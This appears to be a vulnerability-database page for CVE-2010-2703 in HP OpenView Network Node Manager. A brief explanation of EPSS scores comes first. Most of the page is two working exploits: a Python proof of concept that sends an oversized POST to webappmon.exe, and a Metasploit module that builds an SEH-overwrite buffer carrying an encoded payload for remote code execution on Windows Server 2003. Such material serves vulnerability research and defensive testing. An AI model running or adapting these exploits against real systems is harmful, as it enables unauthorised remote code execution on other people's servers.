The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' ''' Title : HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution Version : OpenView Network Node Manager 7.53 Analysis : http://www.abysssec.com Vendor : http://www.hp.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2703 http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/ ''' import socket,sys ip = "localhost" port = 80 target = (ip, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target) exp = "A"*250000 headers = "POST /OvCgi/webappmon.exe HTTP/1.0\r\n" headers += "From: shahin@abysssec.com\r\n" headers += "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n" headers += "Content-Type: application/x-www-form-urlencoded\r\n" arg = 'ins=%s&sel=%s&app=%s&act=%s&arg=%s&help=%s&cache=1600 HTTP/1.1\r\n' % ("nowait", "localhost",exp,"ping",exp,exp) headers += 'Content-Length: %d\r\n' %(len(arg)) headers += "\r\n" headers += arg s.sendall(str(headers)) while 1: buf = s.recv(1000) if not buf: break sys.stdout.write(buf) s.close()

## # $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info={}) super(update_info(info, 'Name' => "HP NNM CGI webappmon.exe execvp Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in HP NNM's webappmon.exe. The vulnerability occurs when function "execvp_nc" fails to do any bounds- checking before strcat is used to append user-supplied input to a buffer. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12086 $", 'Author' => [ 'shahin ', 'sinn3r', ], 'References' => [ ['CVE', '2010-2703'], ['OSVDB', '66514'], ], 'Payload' => { 'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'AutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ], ], 'DisclosureDate' => "SEP 6 2010")) register_options( [ Opt::RPORT(80), ], self.class) end def exploit nops = make_nops(1000)*10 sploit = nops[0, 5455] sploit << generate_seh_record(target.ret) sploit << "\x61"*13 sploit << "\x51" sploit << "\xc3" sploit << nops[0, 57] sploit << payload.encoded sploit << nops[0, 10000-sploit.length] post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1" connect print_status("Sending malicious request...") send_request_raw({ 'uri' => '/OvCgi/webappmon.exe', 'data' => post_data, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive' => '300', 'Connection' => 'Keep-Alive', 'Cache-Control' => 'max-age=0', 'Content-Length' => post_data.length, 'Content-Type' => 'application/x-www-form-urlencoded', } }, 3) handler disconnect end end